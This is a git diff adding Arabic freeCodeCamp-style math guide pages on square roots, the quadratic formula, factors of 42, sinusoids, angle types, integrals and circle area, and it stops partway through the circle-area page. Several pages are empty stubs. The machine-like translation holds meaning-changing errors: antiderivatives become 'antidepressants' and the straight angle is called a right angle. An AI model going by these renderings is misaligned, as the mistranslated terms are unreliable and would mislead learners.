+++ b/client/src/guide/arabic/mathematics/algebra/simplify-square-roots/index.md
@@ -0,0 +1,24 @@
+
+---
+title: Simplify Square Roots
+localeTitle: undefined
+---
+## تبسيط جذور مربع
+
+من أجل تبسيط الجذور المربعة ، من المهم معرفة خاصية المنتج الراديكالية.
+
+![صورة تظهر خاصية المنتج الراديكالية. يساوي الجذر التربيعي لـ A مضروبًا في الجذر التربيعي لـ B الجذر التربيعي لـ A مضروبًا في B.](https://raw.githubusercontent.com/hayleycd/images/master/multiplying_radicals.jpeg)
+
+توضح لنا خاصية المنتج الراديكالي أن الجذر التربيعي لعددين مضروبًا معًا يساوي الجذر التربيعي للرقم الأول مضروبًا في الجذر التربيعي للثاني.
+
+الشيء المهم الثاني هو معرفة مفهوم المربعات المثالية. عندما يتم ضرب عدد صحيح في حد ذاته ، فإن المربع المثالي هو النتيجة.
+
+![صورة توضح المربعات المثالية. أمثلة من المربعات الكمال تشمل 1 و 4 و 9 و 25 و 36 وأكثر من ذلك.](https://raw.githubusercontent.com/hayleycd/images/master/perfect_squares.jpeg)
+
+يمكن تبسيط الجذر التربيعي إذا كان الرقم الذي تحاول أخذ الجذر التربيعي له عامل يمثل مربعًا مثاليًا. إذا كان الأمر كذلك ، فيمكن استخدام خاصية المنتج الراديكالي لتبسيطها. تبسيط الأمثلة أدناه الجذر التربيعي لـ 48 وتبسيط الجذر التربيعي لـ 75.
+
+![يتم عرض الصورة التي توضح الجذر التربيعي لـ 48 والتي يتم تبسيطها إلى 4 مضروبة في الجذر التربيعي لـ 3 والجذر التربيعي لـ75 إلى 5 مضروبة في الجذر التربيعي لـ 3.](https://raw.githubusercontent.com/hayleycd/images/master/radical_examples.jpeg)
+
+#### معلومات اكثر:
+
+*   [مقال Khan Academy حول تبسيط الجذور المربعة](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/simplifying-square-roots/index.md b/client/src/guide/arabic/mathematics/algebra/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..ccec6b381e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/simplifying-square-roots/index.md
@@ -0,0 +1,31 @@
+---
+title: Simplifying Square Roots
+localeTitle: تبسيط الجذور المربعة
+---
+### مثال: بسط ![](https://latex.codecogs.com/gif.latex?\sqrt{180} "\ الجذر التربيعي {180}")
+
+خطوات الحل:
+
+*   كسر 180 في منتج من العوامل العددية الأولية: ![](https://latex.codecogs.com/gif.latex?180&space;=&space;2^2&space;*&space;3^2&space;*&space;5 "180 = 2 ^ 2 * 3 ^ 2 * 5")
+*   استخدام خاصية المنتج من الجذور ![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{180}&space;=&space;\sqrt{2^2}\sqrt{3^2}\sqrt{5}=2*3\sqrt{5}=6\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {180} = \ sqrt {2 ^ 2} \ sqrt {3 ^ 2} \ sqrt {5} = 2 * 3 \ sqrt { (5)} = 6 \ الجذر التربيعي {5}")  
+    لا يمكننا تبسيط الجذر التربيعي للرقم الأساسي وبالتالي الإجابة النهائية: ![](https://latex.codecogs.com/gif.latex?\sqrt{180}&space;=&space;6\sqrt{5} "\ sqrt {180} = 6 \ sqrt {5}")
+
+### مثال: بسط ![](https://latex.codecogs.com/gif.latex?\sqrt{1750} "\ الجذر التربيعي {1750}")
+
+خطوات الحل:
+
+*   كسر 1750 إلى منتج من العوامل العددية الأولية: ![](https://latex.codecogs.com/gif.latex?1750&space;=&space;2*7*5^3 "1750 = 2 * 7 * 5 ^ 3")
+*   استخدام خاصية المنتج من الجذور والحفاظ على كسر النتائج: ![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{1750}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5^3}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5}\sqrt{5^2}&space;=&space;5\sqrt{2}\sqrt{7}\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {1750} = \ sqrt {2} \ sqrt {7} \ sqrt {5 ^ 3} = \ sqrt {2} \ sqrt { 7} \ sqrt {5} \ sqrt {5 ^ 2} = 5 \ sqrt {2} \ sqrt {7} \ sqrt {5}")  
+    الآن استخدم خاصية المنتج مرة أخرى لدمج الجذور التي لا يمكن تبسيطها: ![](https://latex.codecogs.com/gif.latex?5\sqrt{2}\sqrt{7}\sqrt{5}&space;=&space;5\sqrt{70} "5 \ sqrt {2} \ sqrt {7} \ sqrt {5} = 5 \ sqrt {70}")
+
+### المصطلح:
+
+باستخدام √49 كمثال:
+
+*   "√" يطلق عليها **الرمز الراديكالي** .
+*   يسمى 49 **radicand** .
+
+#### معلومات اكثر:
+
+*   [Wikihow ، تبسيط الجذر التربيعي](https://www.wikihow.com/Simplify-a-Square-Root)
+*   [أكاديمية خان](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/the-quadratic-formula/index.md b/client/src/guide/arabic/mathematics/algebra/the-quadratic-formula/index.md
new file mode 100644
index 0000000000..a780184c09
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/the-quadratic-formula/index.md
@@ -0,0 +1,106 @@
+---
+title: The Quadratic Formula
+localeTitle: الصيغة التربيعية
+---
+## الصيغة التربيعية
+
+هذه هي صيغة بسيطة يمكننا الحصول عليها عن طريق حل التمثيل الأساسي لمعادلة من الدرجة الثانية لـ x:
+
+ `      ax^2 + bx + c = 0 
+` 
+
+حيث a ، b ، c هي العناصر النائبة للمعامل (أو الثوابت في معادلة حقيقية) و x هو المتغير الذي يجب أن توجد القيمة به.
+
+بحل x ، نحصل على الصيغة التربيعية على النحو التالي:
+
+ `    x = (-b +- sqroot(b^2 - 4ac)) / (2a) 
+` 
+
+يتم تمثيل ذلك بطريقة أكثر **وضوحا** هنا: ![هنا](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c)
+
+### آثار الصيغة على إيجاد الحلول:
+
+فقط بلمحة واحدة ، يمكننا أن نستخلص بعض العبارات لأية معادلة من الدرجة الثانية في نطاق ومجال الرقم الحقيقي:
+
+النظر في التعبير تحت الجذر sqare "ب ^ 2 - 4AC" كما E
+
+1.  إذا كانت E موجبة ، فسوف يكون لدينا حلان لـ x (خاصية المربعات)
+2.  إذا كان E هو صفر ، فسيكون هناك حل واحد فقط لـ x
+3.  إذا كانت E سالبة ، فلا يوجد حل **حقيقي** لـ x
+
+الصيغة التربيعية هي أداة لحل المعادلات التربيعية. المعادلة التربيعية هي معادلة متعددة الحدود من الدرجة الثانية. درجة متعددة اثنين هي مجرد كثيرات الحدود حيث الأس الأعلى من _x_ هو 2. وفيما يلي أمثلة على المعادلات التربيعية.
+
+*   ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "معادلة من الدرجة الثانية")
+*   ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "معادلة من الدرجة الثانية")
+
+تنطبق المعادلة فقط على المعادلات التي لها النموذج أعلاه حيث يكون كثير الحدود مساويًا للصفر. بشكل عام ، تنطبق المعادلة على المعادلات التي لها الشكل:
+
+![ax^2+bx+c=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_equation.png "المعادلة التربيعية العامة")
+
+حيث _a_ و _b_ و _c_ معاملات كثيرات الحدود. في هذه الحالة ، سيكون للمعادلة حل (حلول):
+
+![quadratic formula](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_formula.png "الصيغة التربيعية")
+
+#### مثال:
+
+لنفترض أنك ترغب في إيجاد الحلول لـ: ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "معادلة من الدرجة الثانية") ، من خلال توصيل _a = 1 ، b = -5 ، c = 6_ في الصيغة التربيعية التي نحصل عليها:
+
+*   _س = 2_ ،
+*   _س = 3_ .
+
+#### مثال:
+
+الحل ل: ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "معادلة من الدرجة الثانية") يتم الحصول عليه عن طريق تعيين _a = 1 و b = 1 و c = -1_ في الصيغة التربيعية. هذا يعطي حلين غير منطقيين أو جذور:
+
+*   _x = (- 1 + √5) / 2_ ،
+*   _x = (- 1-√5) / 2_ .
+
+يمكن استخدام الصيغة التربيعية لإيجاد الحل (الحلول) لأي معادلة من الدرجة الثانية ، ويمكن أن يحدد استخدام المحدد العوامل التالية. الطرق الأخرى ، مثل التخصيم ، أو الرسوم البيانية ، أو إكمال المربع تجد الحل (الحلول) لمعادلة من الدرجة الثانية ، لكن الصيغة التربيعية مفيدة للغاية في الحالات التي لا يمكنك فيها عامل أو رسم بياني.
+
+عند كتابة المعادلة التربيعية على النحو التالي:
+
+![ax ^ 2 + bx + c = 0](https://wikimedia.org/api/rest_v1/media/math/render/svg/70a0e43dfc81e6fea3be4fc96895a8f9ec2966ac/)
+
+(x هو المتغير بينما a و b و c هي ثوابت)
+
+الصيغة التربيعية هي:
+
+![x = -b +/- sqrt (b ^ 2 - 4ac) في جميع أنحاء 2 أ](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c/)
+
+### التمايز
+
+التمييز هو كل شيء تحت الراديكالية في الصيغة التربيعية. ![b ^ 2 - 4ac](http://www.katesmathlessons.com/uploads/1/6/1/0/1610286/what-is-the-discriminant_orig.png/)
+
+إذا كان التمييز = 0 ، فإن الحل التربيعي هو الحل الوحيد. بشكل تخطيطي ، يمثل هذا قمة الرأس التي يتم وضعها على المحور س.
+
+إذا كان المتغير موجبًا (> 0) ، عندئذ يكون للتربيع التربيعي حللين أو جذرين حقيقيين. يمثل هذا التربيع التقاطعي لمحور x في مكانين.
+
+إذا كان المتغير سالباً (<0) ، فليس لدى التربيعي أي حلول حقيقية (حلّان وهميان). هذا لأنك لا تستطيع أن تأخذ الجذر التربيعي لسلبي. بشكل متكرر ، هذا يمثل الوظيفة التي لا تمر عبر المحور س.
+
+### التحفيظ
+
+في أكثر الأحيان ، سيُطلب منك حفظ الصيغة التربيعية. في ما يلي بعض الأجهزة المفيدة للذكرى:
+
+هناك العديد من [الأغاني](https://www.youtube.com/watch?v=2lbABbfU6Zc/) التي تساعد.
+
+بالإضافة إلى ذلك ، يساعد إنشاء قصة لتذكر الصيغة التربيعية. على سبيل المثال: كان الصبي السلبي غير متأكد (زائد أو ناقص) للذهاب إلى الحزب الراديكالي ، ولكن لأنه كان مربعاً جداً ، فقد افتقد إلى أربعة كتاكيت رائعة. كان الحزب في جميع أنحاء 2Am.
+
+### الأخطاء الشائعة:
+
+ينسى الكثير من الناس ترتيب العمليات ويطرح 4 قبل ضربه إلى a و c.
+
+بالإضافة إلى ذلك ، فإن 2 أ تحت كل شيء ، وليس فقط الجذر التربيعي.
+
+تأكد من الحرص على عدم إسقاط الجذر التربيعي أو "زائد / ناقص" في منتصف العمليات الحسابية.
+
+تذكر أن "b ^ 2" تعني "مربع كل من ب ، بما في ذلك علامة" ، لذلك لا تترك b ^ 2 كونها سلبية.
+
+#### معلومات اكثر:
+
+[وأوضح الصيغة التربيعية](http://www.purplemath.com/modules/quadform.htm "وأوضح الصيغة التربيعية")
+
+[ويكيبيديا - الصيغة التربيعية](https://en.wikipedia.org/wiki/Quadratic_formula/)
+
+[الأرجواني الرياضيات](http://www.purplemath.com/modules/quadform.htm/)
+
+[أكاديمية خان](https://www.khanacademy.org/math/algebra/quadratics/solving-quadratics-using-the-quadratic-formula/a/quadratic-formula-explained-article/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/two-step-inequalities/index.md b/client/src/guide/arabic/mathematics/algebra/two-step-inequalities/index.md
new file mode 100644
index 0000000000..3cbab0558d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/two-step-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Two Step Inequalities
+localeTitle: عدم المساواة الخطوة الثانية
+---
+## عدم المساواة الخطوة الثانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/two-step-inequalities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/arabic/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..699bec4a6c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertex and Axis of Symmetry of a Parabola
+localeTitle: قمة الرأس ومحاور التماثل من القطع المكافئ
+---
+## قمة الرأس ومحاور التماثل من القطع المكافئ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/worked-example-two-step-equations/index.md b/client/src/guide/arabic/mathematics/algebra/worked-example-two-step-equations/index.md
new file mode 100644
index 0000000000..ec8e9264e0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/worked-example-two-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Two Step Equations
+localeTitle: مثال معجزة خطوتين المعادلات
+---
+## مثال معجزة خطوتين المعادلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/worked-example-two-step-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/all-factors-of-a-number/index.md b/client/src/guide/arabic/mathematics/all-factors-of-a-number/index.md
new file mode 100644
index 0000000000..3d0ab38a34
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/all-factors-of-a-number/index.md
@@ -0,0 +1,67 @@
+---
+title: All Factors of a Number
+localeTitle: كل عوامل الرقم
+---
+## كل عوامل الرقم
+
+يمكنك التفكير في العوامل مثل الأرقام التي تضاعفها للحصول على رقم آخر.
+
+![](https://upload.wikimedia.org/wikipedia/commons/e/e8/Factor_Tree_of_42.png)
+
+في هذه الحالة ، تكون الأرقام 2 و 3 و 6 و 7 كلها أرقام يمكنك مضاعفتها للحصول على 42. لذلك ، فهي كلها عوامل 42. ومع ذلك ، فهي ليست جميع العوامل 42. للعثور على جميع العوامل يمكننا استخدام خوارزمية أو خطوة خطوة حسب العملية أدناه.
+
+ابدأ بـ 1.
+
+1 \* 42 = 42
+
+1 | ... | 42 --- | --- | ---
+
+حاول 2.
+
+2 \* 21 = 42
+
+1 | 2 | ... | 21 | 42 --- | --- | --- | --- | ---
+
+حاول 3.
+
+3 \* 14 = 42
+
+1 | 2 | 3 | ... | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | ---
+
+حاول 4.
+
+لا يمكن ضرب رقم صحيح في 4 للحصول على 42 ، لذلك نتخطى ذلك.
+
+جرب 5.
+
+لا يمكن ضرب رقم صحيح ب 5 للحصول على 42 ، لذلك نتخطى ذلك.
+
+جرب 6.
+
+6 \* 7 = 42
+
+1 | 2 | 3 | 6 | ... | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+نظرًا لعدم وجود أعداد صحيحة بين 6 و 7 ، تم العثور على جميع العوامل الإيجابية. جميع الأرقام المذكورة أعلاه يمكن أن تنكسر وسوف تستمر في كونها عوامل 42. في الختام ، كل العوامل 42 أقل من ذلك.
+
+1 | 2 | 3 | 6 | 7 | 14 | 21 | 42 | -1 | -2 | -3 | -6 | -7 | -14 | -21 | -42 --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+## تأكيد عدد من العوامل هو الصحيح
+
+يمكننا أن نؤكد بسرعة أننا حددنا جميع العوامل الإيجابية مع الخطوات التالية:
+
+1.  خذ التحليل الأولي (مقدم من الشجرة أعلاه)
+
+2 1 \* 3 1 \* 7 \* 1
+
+2.  أضف واحدة لكل من الأسس:
+
+2 الأس: 1 + 1 = 2 3 الأس: 1 + 1 = 2 7 الأس: 1 + 1 = 2
+
+3.  متعددة من كل الأرقام المذكورة أعلاه:
+
+2 \* 2 \* 2 = 8
+
+4.  تأكد من أن 42 لديه 8 عوامل:
+
+1 | 2 | 3 | 6 | ... | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md b/client/src/guide/arabic/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
new file mode 100644
index 0000000000..bf3605f6e2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
@@ -0,0 +1,30 @@
+---
+title: Amplitude and Period of Sinusoidal Functions from Equation
+localeTitle: سعة وفترة الدوال الجيبية من المعادلة
+---
+## سعة وفترة الدوال الجيبية من المعادلة
+
+**المعادلة العامة** لوظيفة جيبية هي:
+
+![معادلة جيبيّة عامّة](https://github.com/viso-gio/HostedImages/blob/master/GenericSinusoid.png?raw=true)
+
+حيث تمثل _A_ **اتساع** التذبذب ، _و_ **التردد** . _Phi_ هي **المرحلة** المرتبطة بالمقدار الذي يتم فيه إزاحة الجيب على طول المحور _x_ . _أوميغا_ هو **التردد الزاوي** ، ويمثل معدل التذبذب كما راديان في الثانية الواحدة.
+
+يتم إعطاء **فترة** التذبذب ، _T_ ، بواسطة:
+
+![فترة](https://github.com/viso-gio/HostedImages/blob/master/PeriodFormula.png?raw=true)
+
+**شكل بديل** شائع في الجيب هو:
+
+![المعادلة الجيبية البديلة](https://github.com/viso-gio/HostedImages/blob/master/AlternativeSinusoid.png?raw=true)
+
+في هذه الحالة ، يتم حساب **السعة** على النحو التالي:
+
+![سعة بديلة](https://github.com/viso-gio/HostedImages/blob/master/AlternativeAmplitude.png?raw=true)
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات زيارة:
+
+*   [الرياضة مرحه](https://www.mathsisfun.com/algebra/amplitude-period-frequency-phase-shift.html)
+*   [ويكيبيديا: موجة جيبية](https://en.wikipedia.org/wiki/Sine_wave)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/amplitude-period-phase-shift-and-frequency/index.md b/client/src/guide/arabic/mathematics/amplitude-period-phase-shift-and-frequency/index.md
new file mode 100644
index 0000000000..4ea22d04b3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/amplitude-period-phase-shift-and-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Amplitude Period Phase Shift and Frequency
+localeTitle: فترة الطور التحول والتكرار
+---
+## فترة الطور التحول والتكرار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/amplitude-period-phase-shift-and-frequency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/analytic-geometry-distance-formula/index.md b/client/src/guide/arabic/mathematics/analytic-geometry-distance-formula/index.md
new file mode 100644
index 0000000000..64b787a3c4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/analytic-geometry-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Distance Formula
+localeTitle: الصيغة التحليلية عن بعد للهندسة
+---
+## الصيغة التحليلية عن بعد للهندسة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-distance-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/analytic-geometry-midpoint-formula/index.md b/client/src/guide/arabic/mathematics/analytic-geometry-midpoint-formula/index.md
new file mode 100644
index 0000000000..72cd26b2a4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/analytic-geometry-midpoint-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Midpoint Formula
+localeTitle: الصيغة التحليلية الهندسة المتوسطة
+---
+## الصيغة التحليلية الهندسة المتوسطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-midpoint-formula/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/angles-acute-obtuse-straight-and-right/index.md b/client/src/guide/arabic/mathematics/angles-acute-obtuse-straight-and-right/index.md
new file mode 100644
index 0000000000..ea031583a9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/angles-acute-obtuse-straight-and-right/index.md
@@ -0,0 +1,54 @@
+---
+title: Angles Acute Obtuse Straight and Right
+localeTitle: الزوايا الحادة Obtuse مباشرة واليمين
+---
+## الزوايا: الحادة ، منفرجة ، مستقيم وحق
+
+هناك أربعة أنواع من الزوايا حسب حجمها بالدرجات. هؤلاء هم:
+
+*   الزوايا الصحيحة
+*   زوايا مستقيمة
+*   زوايا حادة
+*   زوايا منفرجة
+
+### الزوايا الصحيحة
+
+الزوايا اليمنى هي الزوايا التي لديها قياس 90 درجة بالضبط. على سبيل المثال ، الزاوية الموجودة في زاوية مربع أو مستطيل هي زاوية قائمة. مثال على الزاوية اليمنى أدناه: ![سبيل المثال من الزاوية اليمنى](https://user-images.githubusercontent.com/17547686/31929587-4f167f38-b8a5-11e7-8ee7-e76fc239e866.png)
+
+### زوايا مستقيمة
+
+الزوايا اليمنى هي الزوايا التي لديها قياس 180 درجة بالضبط. على سبيل المثال ، يحتوي الخط المستقيم على زاوية مستقيمة. مثال على الزاوية المستقيمة أدناه: ![مثال على زاوية مستقيمة](https://user-images.githubusercontent.com/17547686/31929586-4efbd912-b8a5-11e7-8f43-5d73cca6e2eb.png)
+
+### زوايا حادة
+
+الزوايا الحادة هي الزوايا التي لها مقياس أقل من 90 درجة. على سبيل المثال ، يحتوي حرف كبير "A" على زاوية حادة. مثال على الزاوية الحادة أدناه: ![لقطة شاشة 2017-10-24 في 10 22 45](https://user-images.githubusercontent.com/17547686/31929585-4ee08266-b8a5-11e7-8af6-9860a8c46e67.png)
+
+### زوايا منفرجة
+
+الزوايا المنفرجة هي الزوايا التي لها مقياس يزيد عن 90 درجة ولكن أقل من 180 درجة. على سبيل المثال ، تحتوي الساعة التي تظهر 5 مساءً على زاوية منفرجة. مثال على زاوية منفرجة أدناه: ![مثال لزاوية منفرجة](https://user-images.githubusercontent.com/17547686/31929584-4ec4b216-b8a5-11e7-943d-ea74ce460f1b.png)
+
+### أمثلة
+
+#### مثال 1
+
+ما هو مقياس أكبر زاوية حادة صحيحة؟
+
+ وبما أن الزوايا الحادة هي زوايا بمقياس أقل من 90 درجة ، فإن أكبر زاوية حادة صحيحة 
+ مقياس من 89 درجة. 
+
+#### مثال 2
+
+ما هو مقياس أصغر زاوية منفرجة صحيحة؟
+
+ وبما أن الزوايا المنفرجة هي زوايا بمقياس أكبر من 90 درجة ، فإن أصغر زاوية منفرجة صحيحة سوف يكون لها 
+ قياس 91 درجة. 
+
+#### مثال 3
+
+ما هو قياس الزاوية في حرف كبير "L" ، وما هو نوع الزاوية؟
+
+ مقياس الزاوية في حرف كبير "L" هو 90 درجة ، والزاوية هي الزاوية الصحيحة. 
+
+## مصادر:
+
+تم التقاط جميع الصور من "مراجعة أنواع الزاوية". _أكاديمية خان._ Accessed: 24 أكتوبر ، 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/antiderivatives-and-indefinite-integrals/index.md b/client/src/guide/arabic/mathematics/antiderivatives-and-indefinite-integrals/index.md
new file mode 100644
index 0000000000..677d4e7375
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/antiderivatives-and-indefinite-integrals/index.md
@@ -0,0 +1,16 @@
+---
+title: Antiderivatives and Indefinite Integrals
+localeTitle: الأدوية المضادة للاكتئاب والتكامل لأجل غير مسمى
+---
+## الأدوية المضادة للاكتئاب والتكامل لأجل غير مسمى
+
+إن حساب أحد أنواع مضادات الاكتئاب ودمج تكامل غير محدد هما مترادفان. إن "تكاملاً" غير محدد هو واحد يعتبر عبر جميع القيم العددية ، من-إلى + ∞ (أي لا توجد أرقام في الحد العلوي أو السفلي لرمز التكامل).
+
+يحسب التكامل المنطقة تحت منحنى معين ، والذي يتم تحديده في integrand. تنظر المناطق غير المحدودة إلى مناطق كثيرة بشكل غير محدود ، مستطيلات صغيرة بشكل غير محدود لحساب المنطقة تحت منحنى الجسيمات.
+
+وتوجد تطبيقات الحياة الحقيقية للمضادات الحيوية والتكاملات غير المحددة في الفيزياء ، حيث يمكن للمرء أن يدمج سرعة معينة لحساب مدى تحرك جسم معين (النزوح).
+
+#### معلومات اكثر:
+
+*   [مقالة مفيدة بخصوص Antikivatives و Integrals لأجل غير مسمى](https://www.intmath.com/integration/2-indefinite-integral.php)
+*   [Wolfram | Alpha أداة مفيدة لتصور التكامل](http://www.wolframalpha.com/calculators/integral-calculator/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-between-a-curve-and-the-x-axis/index.md b/client/src/guide/arabic/mathematics/area-between-a-curve-and-the-x-axis/index.md
new file mode 100644
index 0000000000..b7268ac3c7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-between-a-curve-and-the-x-axis/index.md
@@ -0,0 +1,21 @@
+---
+title: Area-between-a-curve-and-X-axis
+localeTitle: المنطقة بين واحد في منحنى و-X-محور
+---
+## المنطقة بين منحنى و X المحور
+
+للعثور على المنطقة الواقعة بين المنحنى والمحور السيني ، فإن الأداة المفضلة هي [التكامل](https://www.mathsisfun.com/calculus/integration-definite.html) التام للمنحنى المحدد.
+
+لإيجاد المنطقة تحت المنحنى y = f (x) بين x = a و x = b ، قم بدمج y = f (x) بين حدود a و b.
+
+![IMG](https://upload.wikimedia.org/wikipedia/commons/f/f2/Integral_as_region_under_curve.svg)
+
+![IMG](https://latex.codecogs.com/gif.latex?%5Clarge%20S%20%3D%20%5Cint_%7Ba%7D%5E%7Bb%7D%20f%28x%29%20dx)
+
+## بعض الأمثلة
+
+ملاحظة: سوف تخرج المساحات الواقعة تحت المحور x سالبًا وتكون المناطق فوق المحور السيني موجبة. هذا يعني أنه يجب عليك توخي الحذر عند العثور على منطقة أعلى جزئياً أو أقل جزئياً من محور x.
+
+#### معلومات اكثر:
+
+*   [دروس تفاعلية للمنطقة تحت المنحنى](https://www.intmath.com/applications-integration/2-area-under-curve.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/area-of-a-circle/index.md b/client/src/guide/arabic/mathematics/area-of-a-circle/index.md
new file mode 100644
index 0000000000..721e704414
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/area-of-a-circle/index.md
@@ -0,0 +1,82 @@
+---
+title: Area of a Circle
+localeTitle: مساحة الدائرة
+---
+## مساحة الدائرة
+
+مساحة الدائرة هي كل المساحة داخل محيط الدائرة.
+
+إذا كانت 'r' هي نصف قطر الدائرة ، فإن منطقتها يتم حسابها بالصيغة pi \* r 2 حيث pi ثابت رياضي.
+
+pi = 22/7 = 3.141592 ...
+
+A = pi \* r 2 ، r هو نصف قطر الدائرة
+
+A = بي \* {د 04/02}، د هو قطر الدائرة، د = 2 \* ص
+
+![بديل](http://areacircle.com/Area_of_a_circle_basics.png)
+
+تُعرَّف مساحة الدائرة بأنها الفضاء المحيط بمحيط الدائرة.
+
+#### المصطلح
+
+محيط (C) - يسمى حدود محيط الدائرة بـ محيط الدائرة.
+
+نصف القطر (r) - يُعرف طول الخط من أي نقطة على حدود الدائرة / مركزها الدائري إلى مركز الدائرة باسم نصف قطر الدائرة.
+
+القطر (د) - يسمى طول الخط الذي يمر عبر الدائرة من خلال مركز الدائرة ، القطر.
+
+Pi ( π ) - ثابت رياضي يقارب 3.14
+
+#### معادلة
+
+المساحة = π × r2
+
+###### نصف قطر الدائرة
+
+مساحة الدائرة = π _نصف القطر_ 2
+
+###### نظرا لقطر الدائرة
+
+نحن نعلم أن `diameter = 2 * radius` ، بحيث يمكنك استخلاص مساحة الدائرة على النحو التالي ،
+
+مجال الدائرة = π \* _(القطر / 2)_ 2
+
+###### محيط محيط الدائرة
+
+نحن نعلم أن محيط الدائرة (C) ، `C = 2 * π * (radius)` . من هذا ، يمكنك اشتقاق منطقة الدائرة على النحو التالي ،
+
